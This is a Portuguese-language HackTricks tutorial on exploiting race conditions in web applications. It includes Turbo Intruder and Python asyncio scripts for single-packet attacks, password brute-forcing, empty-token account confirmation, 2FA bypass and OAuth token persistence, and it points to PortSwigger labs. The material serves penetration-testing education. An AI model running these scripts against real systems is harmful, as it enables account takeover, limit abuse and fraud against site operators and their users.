# Condição de Corrida
\ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% hint style="warning" %} Para obter uma compreensão profunda dessa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Aperfeiçoando Ataques de Condição de Corrida O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**. Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações: #### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1 - **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida. - **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor. A **Preparação para a Sincronização de Último Byte** envolve: 1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo. 2. Pausar por 100ms após o envio inicial. 3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais. 4. Fazer um ping para aquecer a conexão. O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC. ### Adaptando-se à Arquitetura do Servidor Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação. #### Lidando com Bloqueios Baseados em Sessão Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar tokens de sessão diferentes para cada solicitação pode contornar esse problema. #### Superando Limites de Taxa ou Recursos Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida. ## Exemplos de Ataque * **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`. {% endhint %} * **Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite. * Para **limit-overrun** você poderia simplesmente adicionar a **mesma solicitação 50 vezes** no grupo. * Para **aquecimento de conexão**, você poderia **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web. * Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações. * Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
### Bruto BF Antes da pesquisa anterior, essas eram algumas cargas úteis usadas que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC. * **Repeater:** Verifique os exemplos da seção anterior. * **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Metodologia RC** ### Limite de estouro / TOCTOU Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.** Existem muitas variações desse tipo de ataque, incluindo: * Resgatar um cartão-presente várias vezes * Avaliar um produto várias vezes * Sacar ou transferir dinheiro acima do saldo da sua conta * Reutilizar uma solução CAPTCHA única * Bypass de um limite de taxa anti-brute-force ### **Subestados ocultos** Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso: 1. **Identificar Subestados Ocultos Potenciais** - Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em: - **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente. - **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis ​​em comparação com aquelas que adicionam novos dados. - **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição. 2. **Conduzir Sondagem Inicial** - Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade. 3. **Demonstrar a Vulnerabilidade** - Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido. ### Ataques Sensíveis ao Tempo A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas. **Para Explorar:** - Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade. **Exemplo:** - Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token. **Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para tentar isso.** ## Estudos de caso de subestados ocultos ### Pagar e adicionar um item Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar por ele**. ### Confirmar outros e-mails A ideia é **verificar um endereço de e-mail e alterá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo alterado. ### Alterar e-mail para 2 endereços de e-mail baseados em Cookie De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a uma tomada de controle dessa maneira porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**. **Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para tentar isso.** ### Estados ocultos do banco de dados / Bypass de confirmação Se **2 gravações diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**. Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail. **Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para tentar isso.** ### Bypass 2FA O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### Persistência eterna do OAuth2 Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\ Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \ deseja acessar suas informações, você deseja permitir?_" #### Condição de corrida em `authorization_code` O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**. #### Condição de corrida em `Refresh Token` Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**. ## **RC em WebSockets** Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**. ## Referências * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}